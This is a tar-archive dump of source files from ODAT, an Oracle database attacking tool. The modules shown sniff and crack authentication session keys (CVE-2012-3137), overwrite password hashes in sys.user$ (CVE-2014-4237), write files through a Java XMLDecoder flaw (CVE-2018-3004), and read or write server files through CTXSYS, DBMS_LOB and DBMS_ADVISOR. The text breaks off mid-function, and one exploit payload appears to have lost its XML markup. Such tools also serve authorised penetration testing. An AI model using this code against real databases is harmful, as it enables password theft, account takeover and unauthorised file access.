pax_global_header00006660000000000000000000000064142322067210014511gustar00rootroot0000000000000052 comment=f5df73ac9338300184fdd0318a44f4bf3f762f40 odat-5.1.1/000077500000000000000000000000001423220672100124445ustar00rootroot00000000000000odat-5.1.1/.gitignore000066400000000000000000000002001423220672100144240ustar00rootroot00000000000000# Created by http://www.gitignore.io ### vim ### [._]*.s[a-w][a-z] [._]s[a-w][a-z] *.un~ Session.vim .netrwhist *~ *.rpm *.pyc odat-5.1.1/.gitmodules000066400000000000000000000001251423220672100146170ustar00rootroot00000000000000[submodule "docs"] path = docs url = https://github.com/quentinhardy/odat.wiki.git odat-5.1.1/CVE_2012_3137.py000066400000000000000000000267271423220672100145720ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- import logging, string, re, sys from Utils import execSystemCmd, checkOptionsGivenByTheUser, anAccountIsGiven, getSIDorServiceName from OracleDatabase import OracleDatabase from time import sleep import hashlib from Crypto.Cipher import AES from threading import Thread from progressbar import * from os import geteuid from Constants import * import cx_Oracle #Load scapy without warnings tempout = sys.stdout; temperr = sys.stderr sys.stdout = open('/dev/null', 'w'); sys.stderr = open('/dev/null', 'w') try: from scapy.layers.inet import IP from scapy import all as scapyall #sniff, IP, Raw SCAPY_AVAILABLE = True except ImportError: SCAPY_AVAILABLE = False logging.getLogger("scapy.runtime").setLevel(logging.ERROR) sys.stdout = tempout; sys.stderr = temperr if SCAPY_AVAILABLE == False : logging.warning('You need to install python scapy if you want to use the CVE_2012_3137 module !') class CVE_2012_3137 (): ''' CVE-2012-3137 : to get remote passwords thanks to nmap ''' sessionKey, salt = "", "" def __init__(self, args, accountsFile=None, timeSleep=0): ''' Constructor ''' logging.debug("CVE_2012_3137 object created") self.MAX_PACKET_TO_CAPTURE=200 self.TIMEOUT=5 self.args=args self.accountsFile = accountsFile self.timeSleep = timeSleep self.usernames = [] if self.accountsFile != None : self.loadUsernames() self.keys = [] self.passwdFound = [] self.separator = "|<->|" def __resetSessionKeyValueAndSalt__(self): ''' ''' global sessionKey, salt sessionKey, salt = "", "" logging.debug('Session key and salt are now emply') def getKeys(self): ''' return keys ''' return self.keys def loadUsernames (self,separator = '/'): ''' load usernames from self.accountsFile ''' logging.info ("Loading usernames stored in {0}".format(self.accountsFile)) f = open(self.accountsFile) for l in f: nl = l.replace('\n','').replace('\t','').split('/') self.usernames.append(nl[0]) f.close() def __sniff_sessionkey_and_salt__(self,ip=None,port=None): ''' To sniff the session key and the salt in an Oracle connection thanks to scapy ''' def customAction(packet): global sessionKey, salt if packet[0].haslayer(IP)==True and packet[1].src == ip : #print packet.show() if packet[2].haslayer(scapyall.Raw)==True: raw = repr(packet[2].getlayer(scapyall.Raw).load) if "AUTH_SESSKEY" in raw and "AUTH_VFR_DATA" in raw: sessionKey = re.findall(r"[0-9a-fA-F]{96}" ,raw[raw.index("AUTH_SESSKEY"):raw.index("AUTH_VFR_DATA")]) if sessionKey != [] : sessionKey = sessionKey[0] logging.info ("We have captured the session key: {0}".format(sessionKey)) try : authVFRindex = raw.index("AUTH_VFR_DATA") except : logging.warning("The following string doesn't contain AUTH_VFR_DATA: {0}".format(raw)) else: try: authGloIndex = raw.index("AUTH_GLOBALLY_UNIQUE_DBID") except : logging.warning("The following string doesn't contain AUTH_GLOBALLY_UNIQUE_DBID: {0}".format(raw)) else: salt = re.findall(r"[0-9a-fA-F]{22}" ,raw[authVFRindex:authGloIndex]) if salt != [] : salt = salt[0][2:] logging.info ("We have captured the salt: {0}".format(salt)) finally: return True return False self.__resetSessionKeyValueAndSalt__() scapyall.sniff(filter="tcp and host {0} and port {1}".format(ip,port), count=self.MAX_PACKET_TO_CAPTURE, timeout=self.TIMEOUT, stop_filter=customAction,store=False) return sessionKey, salt def __try_to_connect__(self, user): ''' Establish a connection to the database ''' odc = OracleDatabase(self.args) connString = odc.__generateConnectionString__(username=user, password="aaaa") try: logging.debug("Connecting with {0}".format(connString)) cx_Oracle.connect(connString) except Exception as e: logging.debug("Of course, impossible to connect: {0}".format(e)) def getAPassword(self,user): ''' ''' logging.debug("Sniffing is running in a new thread") a = Thread(None, self.__sniff_sessionkey_and_salt__, None, (), {'ip':self.args['server'],'port':self.args['port']}) a.start() logging.debug("Waiting 3 seconds") sleep(3) logging.debug("Connection to the database via a new thread with the username {0}".format(self.args['user'])) b = Thread(None, self.__try_to_connect__, None, (), {'user':user}) b.start() b.join() a.join() return "","" def getPasswords(self): ''' get passwords ''' logging.info ("Getting remote passwords of {0} users".format(len(self.usernames))) pbar,nb = ProgressBar(widgets=['', Percentage(), ' ', Bar(),' ', ETA(), ' ',''], maxval=len(self.usernames)).start(), 0 for user in self.usernames: logging.info("Try to get the session key and salt of the {0} user".format(user)) self.getAPassword(user) nb += 1 pbar.update(nb) if sessionKey != '' and salt != '': key = "{0}{3}{1}{3}{2}".format(user,sessionKey, salt,self.separator) self.keys.append(key) logging.debug("Key found: {0}".format(key)) sleep(self.timeSleep) pbar.finish() def __decryptKey__(self, session, salt, password): ''' ''' pass_hash = hashlib.sha1(password+salt) key = pass_hash.digest() + b'\x00\x00\x00\x00' decryptor = AES.new(key,AES.MODE_CBC,b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') plain = decryptor.decrypt(session) return plain def decryptKeys(self, sessionFile, passwdFile): ''' decrypt keyx ''' #Nb sessions fsession, nbsession = open(sessionFile), 0 for l in fsession: nbsession+=1 fsession.close() logging.info("{0} sessions in the {1} file".format(nbsession,sessionFile)) #Nb Passwds fpasswds, nbpasswds = open(passwdFile), 0 for l in fpasswds: nbpasswds+=1 fpasswds.close() logging.info("{0} passwords in the {1} file".format(nbpasswds,passwdFile)) if nbpasswds == 0 : logging.critical("No password in the {0} file".format(passwdFile)) return [] elif nbsession == 0: logging.critical("No session in the {0} file".format(sessionFile)) return [] else : fsession = open(sessionFile) for session in fsession: user, session_hex, salt_hex = session.replace('\n','').replace('\t','').split(self.separator) if session_hex=='[]' or salt_hex=='[]': logging.warning("There is not salt or session for '{0}', nothing to do! Probably not vulnerable...".format(user)) else: self.args['print'].subtitle("Searching the password of the {0} user".format(user)) fpasswd = open(passwdFile) pbar,nb = ProgressBar(widgets=['', Percentage(), ' ', Bar(),' ', ETA(), ' ',''], maxval=nbpasswds).start(), 0 for password in fpasswd: nb +=1 pbar.update(nb) password = password.replace('\n','').replace('\t','') session_id = self.__decryptKey__(bytes.fromhex(session_hex), bytes.fromhex(salt_hex), password.encode('utf-8')) if session_id[40:] == b'\x08\x08\x08\x08\x08\x08\x08\x08': self.passwdFound.append([user,password]) self.args['print'].goodNews("{0} password:{1}".format(user,password)) fpasswd.close() break fpasswd.close() pbar.finish() fsession.close() return self.passwdFound def isVulnerable (self, user, password): ''' Capture the challenge with the login and tries to recover the password with password Return True if the remote database is vulnerable Return False if not vulnerable. Return an error if an error. ''' global sessionKey, salt logging.info("Try to know if the database server is vulnerable to the CVE-2012-3137") sessionKey, salt = "", "" self.getAPassword(user) logging.info("The challenge captured for the user {0}: key='{1}', salt='{2}'".format(user, sessionKey, salt)) if sessionKey != '' and salt != '' and sessionKey != [] and salt != []: session_id = self.__decryptKey__(bytes.fromhex(sessionKey), bytes.fromhex(salt), password.encode('utf-8')) if session_id[40:] == b'\x08\x08\x08\x08\x08\x08\x08\x08': logging.info ("The database is vulnerable! Indeed, the result is good when you use the password '{0}' to decrypt the key '{1}' of the user {2} with the salt '{3}'".format(password, sessionKey, user, salt)) return True else: logging.info ("The password {0} is not used in the challenge of the user {1}. Consequently, not vulnerable".format(password, user)) return False else: logging.info ("The challenge captured is empty") return False def testAll (self): ''' Test all functions ''' self.args['print'].subtitle("Obtain the session key and salt for arbitrary Oracle users (CVE-2012-3137)?") if ('user' in self.args) == False or ('password' in self.args) == False or self.args['user'] == None or self.args['password'] == None : self.args['print'].unknownNews("Impossible to know if the database is vulnreable to the CVE-2012-3137.\nYou need to give VALID credentials on the database (-U and -P). Otherwise, the tool can't know if the database is vulnerable...") else: if 1==1: if geteuid() != 0: self.args['print'].unknownNews("Impossible to know if the database is vulnreable to the CVE-2012-3137. You need to run this as root because it needs to sniff authentications to the database") else: vulneable = self.isVulnerable (self.args['user'], self.args['password']) if vulneable == True: self.args['print'].goodNews("OK") elif vulneable == False: self.args['print'].badNews("KO") else: self.args['print'].badNews("There is an error {0}".format(vulnerable)) ''' if geteuid() != 0: args['print'].badNews("Sorry, you need to run this as root because I need to sniff authentications to the database") else: args['print'].info("Getting remote passwords on the {0} server, port {1}".format(self.args['server'],self.args['port'])) ''' def runCVE20123137Module(args): ''' Run the CVE_2012_3137 module ''' if checkOptionsGivenByTheUser(args,["test-module","get-all-passwords","decrypt-sessions"],checkAccount=False) == False : return EXIT_MISS_ARGUMENT cve = CVE_2012_3137 (args, accountsFile=args['user-list'], timeSleep=args['timeSleep']) if args['test-module'] == True : cve.testAll() #Option 1: get all passwords if args['get-all-passwords'] != None: if geteuid() != 0: args['print'].badNews("Sorry, you need to run this as root because I need to sniff authentications to the database") else: args['print'].title("Getting remote passwords on the {0} server, port {1}".format(args['server'],args['port'])) cve.getPasswords() keys = cve.getKeys() if keys != []: args['print'].goodNews("Here are keys:\n\n{0}\n\nIf for some users keys are empty, there was an error during capture or this Oracle user does not exist on the database".format('\n'.join(keys))) filename = "sessions-{0}-{1}-{2}{3}".format(args['server'], args['port'], getSIDorServiceName(args), CHALLENGE_EXT_FILE) f = open(filename,"w") f.write('\n'.join(keys)) f.close() args['print'].goodNews("Sessions strored in the {0} file.".format(filename)) else : args['print'].badNews("Impossible to exploit this vulnreability") #Option 2: decrypt sessions if args['decrypt-sessions'] != None: args['print'].title("Decrypt sessions stored in {0} via {1}".format(args['decrypt-sessions'][0],args['decrypt-sessions'][1])) passwds = cve.decryptKeys(args['decrypt-sessions'][0], args['decrypt-sessions'][1]) if passwds != []: passwordsStr = "" for e in passwds : passwordsStr +='{0}:{1}\n'.format(e[0],e[1]) args['print'].goodNews("Accounts found:\n{0}".format(passwordsStr)) else: args['print'].badNews("No password has been found") odat-5.1.1/CVE_XXXX_YYYY.py000066400000000000000000000250151423220672100152400ustar00rootroot00000000000000import logging from OracleDatabase import OracleDatabase from Constants import * from Utils import checkOptionsGivenByTheUser from passlib.hash import oracle11 as oracle11 from passlib.hash import oracle10 as oracle10 class CVE_XXXX_YYYY (OracleDatabase): ''' CVE-2014-4237 ? : A user authenticated can modify all tables who can select even if he can't modify them normally (no ALTER privilege) ''' def __init__(self, args): ''' Constructor ''' logging.debug("CVE_XXXX_YYYY object created") OracleDatabase.__init__(self,args) self.args=args #################################################################################################################### # CVE_2014_4237 # # A user authenticated can modify all tables who can select even if he can't modify them # normally (no ALTER privilege on them) # https://twitter.com/gokhanatil/status/595853921479991297 #################################################################################################################### def exploit_CVE_2014_4237 (self, updateRequestNormal, updateRequestWithView): ''' Returns: - True: current user can exploit this CVE - False: current user can not exploit this CVE" - None: impossible to known if vulnerable ''' logging.info("Try to exploit the CVE-2014-4237 for doing this operation: {0}".format(updateRequestNormal)) status = self.__execPLSQL__(updateRequestNormal) if isinstance(status, Exception): logging.info("The current user can NOT modify the table with a simple update request. It is a good news for testing if vulnerable!") logging.info('Testing if CVE-2014-4237 can be exploited by current user using the following SQL request: {0}'.format(updateRequestWithView)) status = self.__execPLSQL__(updateRequestWithView) if isinstance(status, Exception): logging.info("Impossible to modify the table (not vulnerable to CVE-2014-4237): {0}".format(self.cleanError(status))) return False else : logging.info("The current user can alter the table. Vulnerable to CVE-2014-4237.") return True else : logging.info("The current user can modify the table with a simple update request. Bad news for testing if vulnerable!") return None #################################################################################################################### # CVE_2018_3004 # # Vulnerability in the Java VM component of Oracle Database Server. # Supported versions that are affected are 11.2.0.4, 12.1.0.2,12.2.0.1 and 18.2. # Difficult to exploit vulnerability allows low privileged attacker having Create Session, # Create Procedure privilege with network access via multiple protocols to compromise Java VM. # Successful attacks of this vulnerability can result in unauthorized access to critical data or # complete access to all Java VM accessible data. # Privilege required : Create Session, Create Procedure # grant create session to user2; # http://obtruse.syfrtext.com/2018/07/oracle-privilege-escalation-via.html #################################################################################################################### def exploit_CVE_2018_3004 (self, path, dataInFile): ''' Returns: - True: current user can exploit this CVE - False: current user can not exploit this CVE - None: impossible to known if vulnerable ''' DROP_REQ1 = "DROP JAVA SOURCE ExploitDecode" DROP_REQ2 = "DROP PROCEDURE exploitdecode" REQUEST_1 ="""CREATE OR REPLACE AND COMPILE JAVA SOURCE named ExploitDecode as import java.io.*; import java.beans.*; public class ExploitDecode{ public static void input(String xml) throws InterruptedException, IOException { XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes())); Object object = decoder.readObject(); System.out.println(object.toString()); decoder.close(); } };""" REQUEST_2 = """CREATE OR REPLACE PROCEDURE exploitdecode (p_xml IN VARCHAR2) IS language java name 'ExploitDecode.input(java.lang.String)'; """ REQUEST_EXPLOIT_CREATE_FILE = """BEGIN exploitdecode(' {0} True {1} '); END; """#{0} path, {1} data in file logging.info("Try to exploit the CVE-2018-3004 for creating a file on {0} with this data {1}".format(path, dataInFile)) status = self.__execPLSQL__(REQUEST_1) if isinstance(status,Exception): logging.info("Impossible to create function to call java (step 1/3): {0}".format(self.cleanError(status))) return False logging.debug("First request executed successfully") status = self.__execPLSQL__(REQUEST_2) if isinstance(status,Exception): logging.info("Impossible to create procedure to call java (step 2/3): {0}".format(self.cleanError(status))) return False logging.debug("Second request executed successfully") status = self.__execPLSQL__(REQUEST_EXPLOIT_CREATE_FILE.format(path, dataInFile)) if isinstance(status,Exception): logging.info("Impossible to execute procedure to create file (step 3/3): {0}".format(self.cleanError(status))) return False logging.debug("Exploit executed successfully") status = self.__execPLSQL__(DROP_REQ2) status = self.__execPLSQL__(DROP_REQ1) return True #################################################################################################################### # ALL FUNCTION #################################################################################################################### def testAll (self): ''' Test all CVE ''' ###### CVE_2014_4237 ###### REQ_ALTER_AUDIT_ACTIONS_WITH_VIEW_FOR_CVE_2014_4237 = "update (with tmp as (select * from sys.AUDIT_ACTIONS) select * from tmp) set name='UNKNOWN' where action=0" REQ_ALTER_AUDIT_ACTIONS_FOR_CVE_2014_4237 = "update sys.AUDIT_ACTIONS set name='UNKNOWN' where action=0" self.args['print'].subtitle("Modify any table while/when he can select it only normally (CVE-2014-4237)?") status = self.exploit_CVE_2014_4237(updateRequestNormal=REQ_ALTER_AUDIT_ACTIONS_FOR_CVE_2014_4237, updateRequestWithView=REQ_ALTER_AUDIT_ACTIONS_WITH_VIEW_FOR_CVE_2014_4237) if status == True: logging.info("The current user can modify the table sys.AUDIT_ACTIONS for example while he can't modify it normally (no alter privilege)") self.args['print'].goodNews("OK") elif status == False: logging.info("The current user can't exploit this CVE") self.args['print'].badNews("KO") else: logging.info("Impossible to know if this database is vulnerable to this CVE because current user is too privileged") self.args['print'].unknownNews("Impossible to know") ###### CVE-2018-3004 ###### self.args['print'].subtitle("Create file on target (CVE-2018-3004)?") if self.remoteSystemIsWindows() == True: logging.info("The remote server is Windows") testPath, dataInFile = "testDJZDZLK.txt", "data" else: logging.info("The remote server is Linux") testPath, dataInFile = "/tmp/testDJZDZLK.txt", "data" logging.debug("Test path used: {0}".format(testPath)) status = self.exploit_CVE_2018_3004(testPath, dataInFile) if status == True: logging.info("The current user can create a file on the target with CVE-2018-3004") self.args['print'].goodNews("OK") elif status == False: logging.info("The current user can not create a file on the target with CVE-2018-3004") self.args['print'].badNews("KO") else: logging.info("Impossible to know if this database is vulnerable to this CVE-2018-3004") self.args['print'].unknownNews("Impossible to know") def runCVEXXXYYYModule(args): ''' Run the CVE_XXXX_YYYY module ''' if checkOptionsGivenByTheUser(args,["test-module","set-pwd-2014-4237","cve-2018-3004"],checkAccount=False) == False : return EXIT_MISS_ARGUMENT cve = CVE_XXXX_YYYY(args) status = cve.connection(stopIfError=True) if args['test-module'] == True : cve.testAll() if args['set-pwd-2014-4237'] != None : hash11g = oracle11.encrypt(args['set-pwd-2014-4237'][1]) hash10g = oracle10.encrypt(args['set-pwd-2014-4237'][1], user=args['set-pwd-2014-4237'][0]) logging.info("hash11g('{2}')={0} & hash10g('{2}')={1}".format(hash11g, hash10g, args['set-pwd-2014-4237'][0])) REQ_ALTER_AUDIT_ACTIONS_WITH_VIEW_FOR_CVE_2014_4237 = "update (with tmp as (select * from sys.user$) select * from tmp) set password='{1}', SPARE4='{2}' where name='{0}'".format(args['set-pwd-2014-4237'][0], hash10g, hash11g) REQ_ALTER_AUDIT_ACTIONS_FOR_CVE_2014_4237 = "update sys.user$ set password='{1}', SPARE4='{2}' where name='{0}'".format(args['set-pwd-2014-4237'][0], hash10g, hash11g) args['print'].title("Modify password of '{0}' by these hashs '{1}' & '{2}' using CVE-2014-4237".format(args['set-pwd-2014-4237'][0],hash10g, hash11g)) status = cve.exploit_CVE_2014_4237(updateRequestNormal=REQ_ALTER_AUDIT_ACTIONS_FOR_CVE_2014_4237, updateRequestWithView=REQ_ALTER_AUDIT_ACTIONS_WITH_VIEW_FOR_CVE_2014_4237) if status == True: cve.args['print'].goodNews("The password of '{0}' has been replaced by '{1}' by exploiting CVE-2014-4237. DB restart necessary!".format(args['set-pwd-2014-4237'][0],args['set-pwd-2014-4237'][1])) elif status == False: cve.args['print'].badNews("The password of '{0}' has NOT been replaced".format(args['set-pwd-2014-4237'][0])) elif status == None: cve.args['print'].goodNews("The password of '{0}' has been replaced. This CVE has not be used to do that (if it impacts this database). DB restart necessary!".format(args['set-pwd-2014-4237'][0])) if args['cve-2018-3004'] != None : args['print'].title("Create file {0} with {1} remotely using CVE-2018-3004".format(repr(args['cve-2018-3004'][0]), repr(args['cve-2018-3004'][1]))) status = cve.exploit_CVE_2018_3004(args['cve-2018-3004'][0], args['cve-2018-3004'][1]) if status == True: cve.args['print'].goodNews("The file {0} has been created on the target".format(args['cve-2018-3004'][0])) elif status == False: cve.args['print'].badNews("The file {0} has NOT been created on the target".format(args['cve-2018-3004'][0])) elif status == None: cve.args['print'].goodNews("Impossible to know if this database is vulnerable to this CVE-2018-3004") odat-5.1.1/Constants.py000066400000000000000000000033161423220672100147750ustar00rootroot00000000000000# -*- coding: utf-8 -* import string DESCRIPTION = ""\ """ _ __ _ ___ / \| \ / \|_ _| ( o ) o ) o || | \_/|__/|_n_||_| ------------------------------------------- _ __ _ ___ / \ | \ / \ |_ _| ( o ) o ) o | | | \_/racle |__/atabase |_n_|ttacking |_|ool ------------------------------------------- By Quentin Hardy (quentin.hardy@protonmail.com or quentin.hardy@bt.com) """ CURRENT_VERSION = "Version 5.1.1 - 2022/04/27" DEFAULT_SID_MIN_SIZE = 1 DEFAULT_SID_MAX_SIZE = 2 MAX_HELP_POSITION=22 MAX_SUB_HELP_POSITION=45 MAX_SPECIAL_SUB_HELP_POSITION = 60 MAX_HELP_WIDTH = 150 DEFAULT_SID_FILE = "resources/sids.txt" DEFAULT_SERVICE_NAME_FILE = "resources/sids.txt" DEFAULT_ACCOUNT_FILE = "accounts/accounts.txt" DEFAULT_LOGINS_FILE = "accounts/logins.txt" DEFAULT_PWDS_FILE = "accounts/pwds.txt" DEFAULT_TIME_SLEEP = 0 DEFAULT_SID_CHARSET = string.ascii_uppercase EXIT_NO_SIDS = 100 EXIT_NO_ACCOUNTS = 101 EXIT_BAD_CONNECTION = 102 EXIT_BAD_CMD_PARAMETER = 103 EXIT_MISS_ARGUMENT = 104 EXIT_MISS_MODULE = 105 ALL_IS_OK=0 TIMEOUT_VALUE = 5 PASSWORD_EXTENSION_FILE = ".odat.save" CHALLENGE_EXT_FILE = ".odat.challenge" MAX_WIDTH_TEXTTABLES = 120 DEFAULT_ENCODING = 'utf8' TIMEOUT_TNS_CMD = 30 DEFAULT_LOCAL_LISTENING_PORT_TNS_POISON = 1522 DEFAULT_SLEEPING_TIME_TNS_POISON = 10 MAX_TIMEOUT_VALUE_TNS_POISON = 10 #SEARCH module PATTERNS_COLUMNS_WITH_PWDS = [ '%mdp%', '%pwd%', '%pass%', "%contraseña%", "%clave%", "%chiave%", "%пароль%", "%wachtwoord%", "%hasło%", "%senha%", ] EXPLOITABLE_SYSTEM_PRIVILEGES = [ 'CREATE ANY PROCEDURE', 'ANALYZE ANY', 'CREATE ANY TRIGGER', 'CREATE ANY INDEX', ] odat-5.1.1/Ctxsys.py000066400000000000000000000144671423220672100143270ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from OracleDatabase import OracleDatabase import logging,cx_Oracle from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser from Constants import * class Ctxsys (OracleDatabase): ''' Allow to use CTXSYS remotly ''' def __init__(self,args): ''' Constructor ''' logging.debug("Ctxsys object created") OracleDatabase.__init__(self,args) self.tableName = self.__generateRandomString__() self.indexName = self.__generateRandomString__() def __giveTheCxsysPriv__(self, user): ''' Give the CTXSYS priv to the user with, for exemple: exec ctxsys.ctx_adm.set_parameter('file_access_role', 'public') ''' logging.info('Try to give the file_access_role privilege to the current user') parameters = {'param_name':'file_access_role','param_value':user} cursor = cx_Oracle.Cursor(self.args['dbcon']) try : cursor.callproc(name="ctxsys.ctx_adm.set_parameter",keywordParameters=parameters) except Exception as e: logging.info('Error with ctxsys.ctx_adm.set_parameter{0}'.format(self.cleanError(e))) return ErrorSQLRequest(e) return True def __createTable__(self): ''' Create table name with, for exemple: CREATE TABLE rf1 (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6)); ''' logging.info('Create the table: {0}'.format(self.tableName)) query = "CREATE TABLE {0} (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6))".format(self.tableName) response = self.__execThisQuery__(query=query,isquery=False) if isinstance(response,Exception) : logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) return response else : return True def __dropTable__(self): ''' Drop the table with, for exemple DROP TABLE my_table PURGE; ''' logging.info('Drop the table: {0}'.format(self.tableName)) query = "DROP TABLE {0} PURGE".format(self.tableName) response = self.__execThisQuery__(query=query,isquery=False) if isinstance(response,Exception) : logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) return response else : return True def __insertFileInTable__(self,fn): ''' Insert into the table the file path with, for exemple: INSERT INTO rf1 VALUES (1, 'c:\temp.txt', NULL); ''' logging.info('Insert the following file path in the {0} table: {1}'.format(self.tableName,fn)) query = "INSERT INTO {0} VALUES (1, '{1}', NULL)".format(self.tableName,fn) response = self.__execThisQuery__(query=query,isquery=False) if isinstance(response,Exception) : logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) return response else : return True def __createIndexToFile__(self): ''' Create an index to the file CREATE INDEX fi1 ON rf1(path) INDEXTYPE IS ctxsys.context PARAMETERS ('datastore ctxsys.file_datastore format column ot_format'); ''' logging.info('Create an index named {0} to the file'.format(self.indexName)) query = "CREATE INDEX {0} ON {1}(path) INDEXTYPE IS ctxsys.context PARAMETERS ('datastore ctxsys.file_datastore format column ot_format')".format(self.indexName,self.tableName) response = self.__execThisQuery__(query=query,isquery=False) if isinstance(response,Exception) : logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) return response else : return True def __dropIndexToFile__(self): ''' Drop index to the file DROP INDEX myindex; ''' logging.info('Drop the index named {0}'.format(self.indexName)) query = "DROP INDEX {0}".format(self.indexName) response = self.__execThisQuery__(query=query,isquery=False) if isinstance(response,Exception) : logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) return response else : return True def __getDataFromIndex__(self): ''' Get data stored in file from the index ''' logging.info('Get data stored in the file from the {0} index'.format(self.indexName)) query = "Select token_text from dr${0}$i".format(self.indexName) response = self.__execQuery__(query=query,ld=['token_text']) if isinstance(response,Exception) : logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) return response else : if response == []: return '' else: data = '' for e in response : data += str(e['token_text']) + '\n' return data def readAFile (self,nameFile): ''' read a file on the remote server ''' logging.info('Read the {0} file'.format(nameFile)) status = self.__giveTheCxsysPriv__('public') status = self.__createTable__() if isinstance(status,Exception) : return status status = self.__insertFileInTable__(nameFile) if isinstance(status,Exception) : return status status = self.__createIndexToFile__() if isinstance(status,Exception) : return status data = self.__getDataFromIndex__() if data == '' : logging.info("The file is empty or it doesn't exist") self.__dropIndexToFile__() self.__dropTable__() return data def testAll (self): ''' Test all functions ''' self.args['print'].subtitle("CTXSYS library ?") logging.info("Try to read a random file with CTXSYS library") nameFile = self.__generateRandomString__() response = self.readAFile(nameFile) if response == '': self.args['print'].goodNews("OK") return True else : logging.info('Not enough privileges: {0}'.format(str(response))) self.args['print'].badNews("KO") return False def runCtxsysModule(args): ''' Run the CTXSYS module ''' status = True if checkOptionsGivenByTheUser(args,["test-module","getFile"]) == False : return EXIT_MISS_ARGUMENT ctxsys = Ctxsys(args) status = ctxsys.connection(stopIfError=True) if args['test-module'] == True : args['print'].title("Test if the DBMSScheduler library can be used") status = ctxsys.testAll() #Option 1: read file if args['getFile'] !=None : args['print'].title("Read the {0} file on the {1} server".format(args['getFile'],args['server'])) data = ctxsys.readAFile(args['getFile']) if isinstance(data,Exception): args['print'].badNews("Impossible to read the {0} file: {1}".format(args['getFile'],data)) else : if data == '' : args['print'].goodNews("The {0} file is empty or it doesn't exist".format(args['getFile'])) else : args['print'].goodNews("Data stored in the {0} file (escape char replace by '\\n'):\n{1}".format(args['getFile'],data)) odat-5.1.1/DbmsAdvisor.py000066400000000000000000000063241423220672100152400ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from DirectoryManagement import DirectoryManagement import logging, random, string from Utils import checkOptionsGivenByTheUser from Constants import * class DbmsAdvisor (DirectoryManagement): ''' Allow the user to write file on the remote database system with DBMS_ADVISOR Becareful: External job actions cannot contain redirection operators ''' def __init__(self,args): ''' Constructor ''' logging.debug("DbmsAdvisor object created") DirectoryManagement.__init__(self,args) def putFile (self, remotePath, remoteNameFile, data=None, localFile=None): ''' Put a file on the remote database server ''' if (localFile == None and data==None) or (localFile != None and data!=None): logging.critical("To put a file, choose between a localFile or data") if data==None : logging.info('Copy the {0} file to the {1} remote path like {2}'.format(localFile,remotePath,remoteNameFile)) else : logging.info('Copy this data : `{0}` in the {2} in the {1} remote path'.format(data,remotePath,remoteNameFile)) self.__setDirectoryName__() status = self.__createOrRemplaceDirectory__(remotePath) if isinstance(status,Exception): return status if localFile != None : data = self.__loadFile__(localFile) response = self.__execProc__("dbms_advisor.create_file",options=(data, self.directoryName, remoteNameFile)) if isinstance(response,Exception): logging.info("Impossible to create a file with dbms_advisor: {0}".format(self.cleanError(response))) return response return True def testAll (self): ''' Test all functions ''' folder = self.__generateRandomString__() self.args['print'].subtitle("DBMSADVISOR library ?") logging.info("Simulate the file creation in the {0} folder with DBMSAdvisor".format(folder)) logging.info('The file is not created remotly because the folder should not exist') status = self.putFile(folder,'temp.txt',data='data in file') if status == True or self.ERROR_BAD_FOLDER_OR_BAD_SYSTEM_PRIV in str(status) or self.ERROR_FILEOPEN_FAILED in str(status): self.args['print'].goodNews("OK") else : self.args['print'].badNews("KO") def runDbmsadvisorModule(args): ''' Run the DBMSAdvisor module ''' status = True if checkOptionsGivenByTheUser(args,["test-module","putFile"]) == False : return EXIT_MISS_ARGUMENT dbmsAdvisor = DbmsAdvisor(args) status = dbmsAdvisor.connection(stopIfError=True) if args['test-module'] == True : args['print'].title("Test if the DBMSAdvisor library can be used") status = dbmsAdvisor.testAll() #Option 1: putLocalFile if args['putFile'] != None: args['print'].title("Put the {0} local file in the {1} path (named {2}) of the {3} server".format(args['putFile'][2],args['putFile'][0],args['putFile'][1],args['server'])) status = dbmsAdvisor.putFile(args['putFile'][0], args['putFile'][1],localFile=args['putFile'][2]) if status == True: args['print'].goodNews("The {0} local file was put in the remote {1} path (named {2})".format(args['putFile'][2],args['putFile'][0],args['putFile'][1])) else : args['print'].badNews("The {0} local file was not put in the remote {1} path (named {2}): {3}".format(args['putFile'][2],args['putFile'][0],args['putFile'][1],str(status))) dbmsAdvisor.close() odat-5.1.1/DbmsLob.py000066400000000000000000000143141423220672100143430ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from DirectoryManagement import DirectoryManagement import logging,cx_Oracle #from OracleDatabase import OracleDatabase from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser from Constants import * class DbmsLob (DirectoryManagement): ''' Allow the user to read file thanks to DBMS_LOB ''' def __init__(self,args): ''' Constructor ''' logging.debug("DbmsLob object created") DirectoryManagement.__init__(self,args) self.__setDirectoryName__() def getFile (self,remotePath, remoteNameFile, localFile): ''' Create the localFile file containing data stored on the remoteNameFile (stored in the remotePath) ''' data = "" logging.info("Copy the {0} remote file (stored in {1}) to {2}".format(remoteNameFile,remotePath,localFile)) #Get data of the remote file DBMS_LOB_GET_FILE =""" DECLARE -- Pointer to the BFILE l_loc BFILE; -- Current position in the file (file begins at position 1) l_pos NUMBER := 1; -- Amount of characters to read l_sum BINARY_INTEGER; -- Read Buffer l_buf VARCHAR2(32767); l_stat BINARY_INTEGER := 16383; BEGIN l_loc := BFILENAME('{0}','{1}'); DBMS_LOB.OPEN(l_loc,DBMS_LOB.LOB_READONLY); l_sum := dbms_lob.getlength(l_loc); LOOP IF (l_sum < 16383) THEN DBMS_LOB.READ(l_loc,l_sum,l_pos,l_buf); dbms_output.put_line(UTL_RAW.CAST_TO_VARCHAR2(l_buf)); EXIT; END IF; l_sum := l_sum - 16383; DBMS_LOB.READ(l_loc,l_stat,l_pos,l_buf); l_pos := l_pos + 16383; dbms_output.put_line(UTL_RAW.CAST_TO_VARCHAR2(l_buf)); END LOOP; DBMS_LOB.CLOSE(l_loc); END; """ isFileExist= self.getFileExist (remotePath, remoteNameFile) if isFileExist == True : status = 